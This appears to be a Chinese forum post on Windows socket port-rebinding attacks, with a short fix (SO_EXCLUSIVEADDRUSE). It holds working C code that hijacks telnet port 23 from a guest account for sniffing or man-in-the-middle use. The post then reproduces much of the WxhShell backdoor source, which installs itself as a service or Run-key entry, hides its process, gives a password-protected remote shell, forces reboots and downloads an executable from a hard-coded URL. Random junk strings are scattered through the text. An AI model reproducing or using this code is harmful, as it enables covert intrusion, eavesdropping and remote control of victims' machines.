社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 20080阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0gW"i&7c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #++lg{  
&FMc?wq  
  saddr.sin_family = AF_INET; QO<jI#  
` 06;   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 132{# tG]  
M'?,] an  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZQ4p(6a   
kj#?whK6~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v|XTr,#  
GFj{K  
  这意味着什么?意味着可以进行如下的攻击: cM(:xv  
OcR$zlgs[v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CpUk Cgg  
[\^ n=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x[FJgI'r  
~Z\8UsVN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c,np2myd  
sJB;3"~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :KQ~Cb  
Y071Y:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :%l TU  
}MJy +Z8&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jj; L3S  
MK%9:wZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~qiJR`Jj  
=_.l8IYX$%  
  #include {fPy=,>Nb  
  #include C)[,4wt,  
  #include Nyku4r0  
  #include    (yH'{6g\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [^WC lRF  
  int main() ~8q)^vm>f?  
  { [+rfAW>p}  
  WORD wVersionRequested; F|S Xn\  
  DWORD ret; dPW#C5dm  
  WSADATA wsaData; m ifxiV  
  BOOL val; wT6"U$cV  
  SOCKADDR_IN saddr; zU5v /'h>d  
  SOCKADDR_IN scaddr; qzYwt]GNS  
  int err; (ZS}G8  
  SOCKET s; EaO6[E  
  SOCKET sc; 2,DXc30I  
  int caddsize; pR*VdC _mY  
  HANDLE mt; jZu[n)u'C  
  DWORD tid;   iOd&B B6  
  wVersionRequested = MAKEWORD( 2, 2 ); @x*c1%wg  
  err = WSAStartup( wVersionRequested, &wsaData ); L7n D|  
  if ( err != 0 ) { KoOz#,()  
  printf("error!WSAStartup failed!\n"); l.q&D< _  
  return -1; vLv@&lMW  
  } Y z<3JRw  
  saddr.sin_family = AF_INET; u0JB\)(-/h  
   }zeO]"`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QmQ=q7  
d`QN^)F0#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 52@C9Q,  
  saddr.sin_port = htons(23); ;"a=gr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p)KheLiZ  
  { &y\prip  
  printf("error!socket failed!\n"); Gw}%{=D9  
  return -1; m]'#t)B_m  
  } "IZa!eUW  
  val = TRUE; 0pZ4BZdT|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]&o$b]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;;!yC  
  { h0(BO*cy  
  printf("error!setsockopt failed!\n"); %v=*Wb\3|  
  return -1; =ElO?9&  
  } DBo%fYst  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J9\Cm!H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2] z 8: a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 prWk2_D;*  
(of#(I[m7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qrb[-|ie&  
  { T-'OwCB1q  
  ret=GetLastError(); )MtF23k)g  
  printf("error!bind failed!\n"); P@,XEQRd`  
  return -1; ,kyJAju>  
  } q_MPju&*  
  listen(s,2); [8Y:65  
  while(1) b_$4V3TA  
  { AiwOc+R  
  caddsize = sizeof(scaddr); EuEZ D +  
  //接受连接请求 Sgeh %f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i[O& )N,c  
  if(sc!=INVALID_SOCKET) 'K$[^V  
  { R"-mKT}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^PDJ0k/u1  
  if(mt==NULL) Mer/G2#&  
  { $[Sc0dzJ  
  printf("Thread Creat Failed!\n"); Jf{*PgP  
  break; =J18eH!]  
  } &xU[E!2H%  
  } ZJnYIK  
  CloseHandle(mt); cutuDZ  
  } {AhthR%(1  
  closesocket(s); -z ID x  
  WSACleanup(); A` N,  
  return 0; pI1-cV,`  
  }   :,3C 0T3r  
  DWORD WINAPI ClientThread(LPVOID lpParam) =-0/k;^  
  { eVEV}`X  
  SOCKET ss = (SOCKET)lpParam; 4n#M  
  SOCKET sc; .8 2P(}h  
  unsigned char buf[4096]; XD!W: uvb  
  SOCKADDR_IN saddr; l3{-z4mw  
  long num; ?U%qPv:  
  DWORD val; ?1*cO:O  
  DWORD ret; 8Q.T g.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ])[[ V!1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #oS<E1  
  saddr.sin_family = AF_INET; ;(b9#b.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hXcyoZ8  
  saddr.sin_port = htons(23); OyU5DoDz1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?so=;gh  
  { ]RZ|u*l=x  
  printf("error!socket failed!\n"); &9.Cl;I  
  return -1; Wjo[ENHM  
  } M=8.Bp|Ye  
  val = 100; ZFi ee|,q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e+=y*OmQ  
  { ,L|%"K]yM  
  ret = GetLastError(); f- K+]aZ)  
  return -1; V)3KS-  
  } ^\hG"5#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 272q1~&  
  { im${3>26  
  ret = GetLastError(); YC*"Thuu  
  return -1; E`kG-Q5Dw  
  } P:hBt\5B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U2ohHJ``  
  { ({ +!`}GY  
  printf("error!socket connect failed!\n"); %Si6]3-^@  
  closesocket(sc); To\QjP-  
  closesocket(ss); cF\;_0u  
  return -1; 5u,{6  
  } TeMHm ?1^  
  while(1) <!&[4-;fU  
  { W 6^5YH%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jqz ux[6{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $6#CqWhI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L,HhbTRca  
  num = recv(ss,buf,4096,0); Je';9(ZK  
  if(num>0) {IjF+@I  
  send(sc,buf,num,0); S:u:z=:r  
  else if(num==0) }V'} E\\  
  break; zZ:>do\2  
  num = recv(sc,buf,4096,0); bpOYHc6,*`  
  if(num>0) gK+ 4C  
  send(ss,buf,num,0); SDC4L <!  
  else if(num==0) R1s`z|?  
  break; 'Y?"{HZ  
  } x/%aM1"X^  
  closesocket(ss); \9.bt:k@OT  
  closesocket(sc); ru'F6?d  
  return 0 ; m1j*mtu  
  } <NHH^M\N  
R$EW4]j  
XP`Nf)3{Yd  
========================================================== 9,c(y sv"  
j9m_jv  
下边附上一个代码,,WXhSHELL ~Q*%DRd&Z-  
7( #:GD  
========================================================== ay4 %  
\Yy$MLs  
#include "stdafx.h" #./fY;:cj  
Juo^,  
#include <stdio.h> $&Gu)4'+  
#include <string.h> l\f*d6o  
#include <windows.h> B=U 3  
#include <winsock2.h> y3vdUauOn  
#include <winsvc.h> ov|d^)'  
#include <urlmon.h> u :}%xD6  
Y`KqEjsC*  
#pragma comment (lib, "Ws2_32.lib") oxr#7Ei0d  
#pragma comment (lib, "urlmon.lib") yyR0]NzYUD  
I.I`6(Cb  
#define MAX_USER   100 // 最大客户端连接数 )i6mzzj5  
#define BUF_SOCK   200 // sock buffer .[YuRLGz  
#define KEY_BUFF   255 // 输入 buffer !d'GE`w T  
D,FHZD t  
#define REBOOT     0   // 重启 2Zm0qJ  
#define SHUTDOWN   1   // 关机 87=&^.~`  
+|*IZ:w)  
#define DEF_PORT   5000 // 监听端口 C:GK,?!Jn'  
9U7nKJ+iby  
#define REG_LEN     16   // 注册表键长度 } F E>|1  
#define SVC_LEN     80   // NT服务名长度 wDw[RW3  
N[?N5~jG  
// 从dll定义API pD(j'[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fzm*Pz3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;:iY)}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3N 8t`N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zh%#Y_[R  
6d:zb;Iz  
// wxhshell配置信息 <<UB ^v m  
struct WSCFG {  Ii6<b6-  
  int ws_port;         // 监听端口 AWcLUe{  
  char ws_passstr[REG_LEN]; // 口令 p}&#jE  
  int ws_autoins;       // 安装标记, 1=yes 0=no XWn VgY s  
  char ws_regname[REG_LEN]; // 注册表键名 W,D4.w$@'  
  char ws_svcname[REG_LEN]; // 服务名 Ig$(3p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {ba q+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =NpYFKmMhV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FW.7'7G@n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 84$nT>c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?xA:@:l/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iyN:%ofh  
02Y]`CXj  
}; ~Cbc<[}  
Cmu@4j&  
// default Wxhshell configuration # q~e^A b  
struct WSCFG wscfg={DEF_PORT, xg30x C[  
    "xuhuanlingzhe", uOKCAqYa  
    1, md=TjMaY  
    "Wxhshell", >1s* at/h  
    "Wxhshell", >/{@C  
            "WxhShell Service", w2Us!<x  
    "Wrsky Windows CmdShell Service", &]V.S7LC #  
    "Please Input Your Password: ", 7Sf bx~48  
  1, Uq[>_"}  
  "http://www.wrsky.com/wxhshell.exe", uyO/55;HO  
  "Wxhshell.exe" f0A{W/0n  
    }; ``V" D  
WJ$bf(X*  
// 消息定义模块 i1UiNJh86  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ha(c'\T (\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s kv GU(G}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dW)B1iUo!  
char *msg_ws_ext="\n\rExit."; b`(}.r?W  
char *msg_ws_end="\n\rQuit."; -] LY,M  
char *msg_ws_boot="\n\rReboot..."; 9 eR-  
char *msg_ws_poff="\n\rShutdown..."; w2 ;eh]k  
char *msg_ws_down="\n\rSave to "; ]5mnew  
Jlri*q"hE  
char *msg_ws_err="\n\rErr!"; 6wPaJbRtaM  
char *msg_ws_ok="\n\rOK!"; d+<G1w&z  
%fc !2E9|  
char ExeFile[MAX_PATH]; ng[Ar`  
int nUser = 0; UG'Q]S#!  
HANDLE handles[MAX_USER]; i% w3/m  
int OsIsNt; 8k2?}/+  
5:\},n+VE  
SERVICE_STATUS       serviceStatus; 67VL@ ]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 63^O|y\W8  
>l]Xz*HE  
// 函数声明 8H;t_B  
int Install(void); ?TM ,Q  
int Uninstall(void); XQ#;Zs/l  
int DownloadFile(char *sURL, SOCKET wsh); P !AEf#1  
int Boot(int flag); 3("_Z%  
void HideProc(void); aL*&r~`&e'  
int GetOsVer(void); Mh~q//  
int Wxhshell(SOCKET wsl); lyIl-!|  
void TalkWithClient(void *cs); eds o2  
int CmdShell(SOCKET sock); 2X.r%&!1M  
int StartFromService(void); Z"Zmo>cV4  
int StartWxhshell(LPSTR lpCmdLine); 3Ko/{f  
hM@ HA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *e<[SZzYZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :Uz|3gq  
\O}E7 -  
// 数据结构和表定义 g=39C>  
SERVICE_TABLE_ENTRY DispatchTable[] = &?W0mW(  
{ 2I%MAb&1@  
{wscfg.ws_svcname, NTServiceMain}, %;cddLQ\xY  
{NULL, NULL} ydFD!mO  
}; VA WF3  
*Tas`WA  
// 自我安装 yGI;ye'U  
int Install(void) #~#R-   
{ bmJ5MF]_fG  
  char svExeFile[MAX_PATH]; _|iSF2f,X  
  HKEY key; KmMzH`t}`  
  strcpy(svExeFile,ExeFile); 1=t>HQ  
6{x(.=  
// 如果是win9x系统,修改注册表设为自启动 ,kF1T,  
if(!OsIsNt) { C.~,qmOP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rk&IlAE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N6>(;ugJ1-  
  RegCloseKey(key); f) znTJL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "*($cQ$v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )n+Lo&C<  
  RegCloseKey(key); wy yWyf  
  return 0; Fa?~0H/DL  
    }  RwKdxK+;  
  } ~{d$!`|a  
} %Da8{%{`Pc  
else { kr+D,h01  
t,,k  
// 如果是NT以上系统,安装为系统服务 6tXq:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -!q :p&c  
if (schSCManager!=0) x8wD0D  
{ V\{clJ\U  
  SC_HANDLE schService = CreateService N2B|SO''  
  ( 'U1R\86M  
  schSCManager, *$yR*}A  
  wscfg.ws_svcname, 5pj22 s  
  wscfg.ws_svcdisp, E'G4Y-  
  SERVICE_ALL_ACCESS, "k/;[ Wt]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `q?8A3A  
  SERVICE_AUTO_START, BZ:H`M`n  
  SERVICE_ERROR_NORMAL, H#NCi~M>3  
  svExeFile, <d,b'<z s  
  NULL, Lilr0|U+  
  NULL, Jzj1w}?H  
  NULL, M1 :uJkO.  
  NULL, [.m`+  
  NULL Yb +yw_5  
  ); _hN\10ydY  
  if (schService!=0) G.rrv  
  { XR+Y=R  
  CloseServiceHandle(schService); , 0imiv  
  CloseServiceHandle(schSCManager); $@"l#vJPfc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { WIJC ',Y  
  strcat(svExeFile,wscfg.ws_svcname); g>Y|9Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y603$Cv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jNTjSX  
  RegCloseKey(key); YwteZSbp6M  
  return 0; ZZ k=E4aae  
    } >{N9kW Y  
  } aAJU`=uq  
  CloseServiceHandle(schSCManager); OTy.VT|  
} C3eR)Yh  
} ]j'p :v  
T@G?t0  
return 1; i'4B3  
} w,w{/T+B  
!6BW@GeF]  
// 自我卸载 :ZTc7 }  
int Uninstall(void) g,}_G3[j0m  
{ pi /g H  
  HKEY key; ;-9=RI0  
H(bs$C4F  
if(!OsIsNt) { K#EvFs`s;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p!>oo1&  
  RegDeleteValue(key,wscfg.ws_regname); E^QlJ8  
  RegCloseKey(key); #OIcLEn%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t\Nq R  
  RegDeleteValue(key,wscfg.ws_regname); h?rp|uPQ  
  RegCloseKey(key); 'h/CoTk@,  
  return 0; V"*O=h  
  } G"\`r* O  
} #z&& M"*a|  
} '>&^zgr  
else { } ~h3c|  
d p2F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #1`-*.u  
if (schSCManager!=0) C 'v+f=  
{ "{tg8-a4)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H$@`,{M629  
  if (schService!=0) i;NUAmx  
  { |o{:ZmzM  
  if(DeleteService(schService)!=0) { L$9 . 8W  
  CloseServiceHandle(schService); =4[v 3Qx  
  CloseServiceHandle(schSCManager); \n{qsf:  
  return 0; IOb*GTb  
  } :E_g"_  
  CloseServiceHandle(schService); xgpi-l  
  } 9^,Lc1"M>  
  CloseServiceHandle(schSCManager); 3^R&:|,  
} x$IX5:E#e  
} :|_'fNd+!  
&=#[(vl  
return 1; >_o}  
} X*&[u7No  
E_k$W5  
// 从指定url下载文件 ]%|GmtqZs,  
int DownloadFile(char *sURL, SOCKET wsh) #bMuvaP~  
{ |UK}  
  HRESULT hr; 7[I}*3Q'  
char seps[]= "/"; 4kG,*3 &2  
char *token; :,Pn3xl  
char *file; y=`2\L" O  
char myURL[MAX_PATH]; N$h{Yvbn  
char myFILE[MAX_PATH]; {U!8|(  
.z 6fv  
strcpy(myURL,sURL); Q7R~{5r>W  
  token=strtok(myURL,seps); ZT,B(#m  
  while(token!=NULL) T? tG~  
  { j:k[90  
    file=token; '`eO\huf  
  token=strtok(NULL,seps); Qk\A c  
  } ? i( %  
]Bm/eRy"  
GetCurrentDirectory(MAX_PATH,myFILE); ?mWw@6G,  
strcat(myFILE, "\\"); q8^^H$<Db  
strcat(myFILE, file); CACTE  
  send(wsh,myFILE,strlen(myFILE),0); Cg&e(  
send(wsh,"...",3,0); CPP` qt%f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nyBJb(5"B  
  if(hr==S_OK) R(2tlZ  
return 0; Cz 72?[6  
else +)j$|x~(A  
return 1; q0$ !y!~  
(>VX-Y/  
} `|,`QqDQ  
[* @5\NWR}  
// 系统电源模块 1jy9lP=  
int Boot(int flag) I 4,K43|  
{ 2C/$Ei^t  
  HANDLE hToken; /h*>P:i].  
  TOKEN_PRIVILEGES tkp; c:-!'l$ !  
Z2TL#@  
  if(OsIsNt) { h<Ft_#|o[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HvM)e.!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iTag+G4*  
    tkp.PrivilegeCount = 1; :|Ad:fEs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e '2F#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3jlh}t>$l  
if(flag==REBOOT) { zY|t0H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `0P$#5?  
  return 0; GG@ md_  
} s}jHl8  
else { F'B8v 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :lB=L r)  
  return 0; 6 G3\=)  
} 'h^0HE\~p  
  } MxGu>r  
  else { j:E<p_T  
if(flag==REBOOT) { KnsT\>[K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qW!]co  
  return 0; YN`H BFH  
} ~v]!+`_J  
else { cfcim.jB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Y8hb!#(  
  return 0; po$ /7  
} O [i#9)  
} xER\ZpA :,  
rb1`UG"h$  
return 1; *d"DA[(  
} epU:  
\ C+(~9@|  
// win9x进程隐藏模块 #a`a$A  
void HideProc(void) Bx/L<J@  
{ `e(vH`VZ  
4?-.Z UT-1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qEpi]=|  
  if ( hKernel != NULL ) iMs5zf <M  
  { hRty [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WHjUR0NZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W Dg+J  
    FreeLibrary(hKernel); $OP7l>KZY  
  } >2,Gy-&"0  
}; f#^gz'  
return; 2I&o69x?  
} >y[oP!-|P  
9'{}!-(xR  
// 获取操作系统版本 3'^k$;^  
int GetOsVer(void) 6xZ=^;H  
{ ")V130<  
  OSVERSIONINFO winfo; b|+wc6   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2Z3('?\z~  
  GetVersionEx(&winfo); Y]L9Y9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iVG-_RsKK  
  return 1; (;q\}u  
  else P#fM:z@[  
  return 0; qUxRM_7U  
} =:/BV=tv  
U7I qST  
// 客户端句柄模块 x\J#]d.  
int Wxhshell(SOCKET wsl) k'#(1(xj  
{ ;gs ^%z  
  SOCKET wsh; 6S+U&Ce\  
  struct sockaddr_in client; ]p;FZ4-T  
  DWORD myID; LxpuhvIO  
7oq[38zB  
  while(nUser<MAX_USER)  >lBD<;T  
{ (HSgEs1d  
  int nSize=sizeof(client); g_G6~-.9I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x-?{E  
  if(wsh==INVALID_SOCKET) return 1; :PtF+{N>  
nzmDA6d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  jcI&w#re  
if(handles[nUser]==0) :dLAs@z  
  closesocket(wsh); cIp D~0\  
else wlEdt1G  
  nUser++; * 1Od-3  
  } D5:{fWVsV/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7}vg.hmZ  
s%2v3eb  
  return 0; L3n_ 5|  
} L5qwWvbT  
CE"JS-S?  
// 关闭 socket u-tQ9ioKC  
void CloseIt(SOCKET wsh) C&6IU8l\  
{ XK: 9r{r{  
closesocket(wsh); _L@2_#h!  
nUser--; ,2j.<g&   
ExitThread(0); ?}m']4p  
} Q4*fc^?u  
jq+A-T}@  
// 客户端请求句柄 ,:`ND28V7  
void TalkWithClient(void *cs) JB>b`W9   
{ Fr%d}g  
#( 1j#\  
  SOCKET wsh=(SOCKET)cs; b*FC\ :\  
  char pwd[SVC_LEN]; Le*.*\  
  char cmd[KEY_BUFF]; z^GDJddG  
char chr[1]; Dgx8\~(E'  
int i,j; 1*dRK6  
x3u4v~ "-  
  while (nUser < MAX_USER) { XXh6^@H=  
KX}Rr7a  
if(wscfg.ws_passstr) { RKPD4e>%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h68]=KyK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -CRQ&#p1]  
  //ZeroMemory(pwd,KEY_BUFF); gq"gUaz  
      i=0; m\ddp_l  
  while(i<SVC_LEN) { a\%xB >LX  
fPrLM'  
  // 设置超时 [p2H=  
  fd_set FdRead; MNg^]tpf  
  struct timeval TimeOut; (I@rLvZr{  
  FD_ZERO(&FdRead); eQVZO>)P1+  
  FD_SET(wsh,&FdRead); iC*F  
  TimeOut.tv_sec=8; [xT:]Pw}  
  TimeOut.tv_usec=0; Vur bW=~g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P) uDLFp]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8o/}}=m$  
o}<4*qlI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !xwG% {_  
  pwd=chr[0]; E"L2&.  
  if(chr[0]==0xd || chr[0]==0xa) { 1Jj Y!  
  pwd=0; 06Gt&_Q  
  break; JKX_q&bUw  
  } cW{1 Pz^_  
  i++; iR\Hv'|  
    } f}L*uw  
0jzbG]pc:E  
  // 如果是非法用户,关闭 socket 0v]?6wX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l$YC/ bP  
} b9"jtRTdz  
>/#KI~}'N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3 E3qd'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$p$")  
j+^oz'q  
while(1) { N |1>ooU[  
$ -c!W!H  
  ZeroMemory(cmd,KEY_BUFF); n=,\;3Y=  
;3 F"TH  
      // 自动支持客户端 telnet标准   >+mD$:L  
  j=0; FVKW9"AyW  
  while(j<KEY_BUFF) { 8&Myva  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -kS~xVS|  
  cmd[j]=chr[0]; 9m-)Xdoy  
  if(chr[0]==0xa || chr[0]==0xd) { w ~ dk#=  
  cmd[j]=0; .)+h H y  
  break; }/,HM9Ke  
  } *-12VIG'H  
  j++; &*s0\ 8  
    } !bC+TYsU  
:aG#~-Q  
  // 下载文件 5'Q|EIL  
  if(strstr(cmd,"http://")) { af |5n><~A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]7Fs$y.  
  if(DownloadFile(cmd,wsh)) NO] 3*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nk[2nyeO>  
  else St<mDTi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cv(PP-'\  
  } Q.Aw2  
  else { k/03ZxC-  
jt@SZI`  
    switch(cmd[0]) { #eN{!Niy&U  
  )9S>Z ZF  
  // 帮助 e;GU T:  
  case '?': { O8] 'o*<]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?DH"V7bs  
    break; n9;;x%6.I  
  } |e a~'N1  
  // 安装 }dxDt qb  
  case 'i': { 2qi'g:qe  
    if(Install()) /cK%n4l.y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSBg?H'T  
    else JxjI]SF02  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~O 3D[PNW~  
    break; xvNo(>  
    } {"vkji>  
  // 卸载 W- $a Y2  
  case 'r': { >|Q:g,I  
    if(Uninstall()) NWfAxkz {/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM<KF &pVB  
    else x"4} isp<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7z^!m  
    break; <} jPXEB"  
    } =H8 xSJLh  
  // 显示 wxhshell 所在路径 E1&b#TE 6O  
  case 'p': { ICB~_O5  
    char svExeFile[MAX_PATH]; jEz+1Nl)  
    strcpy(svExeFile,"\n\r"); @=5qT]%U3J  
      strcat(svExeFile,ExeFile); Ro=AADv@  
        send(wsh,svExeFile,strlen(svExeFile),0); $ \*` }Y  
    break; ?4CNkk=v  
    } Cv)/7vyB8  
  // 重启 "7d-z<^n  
  case 'b': { z^nvMTC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NA$zd(  
    if(Boot(REBOOT)) j%V["?)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )c/Fasfg[P  
    else { 8wH.et25k  
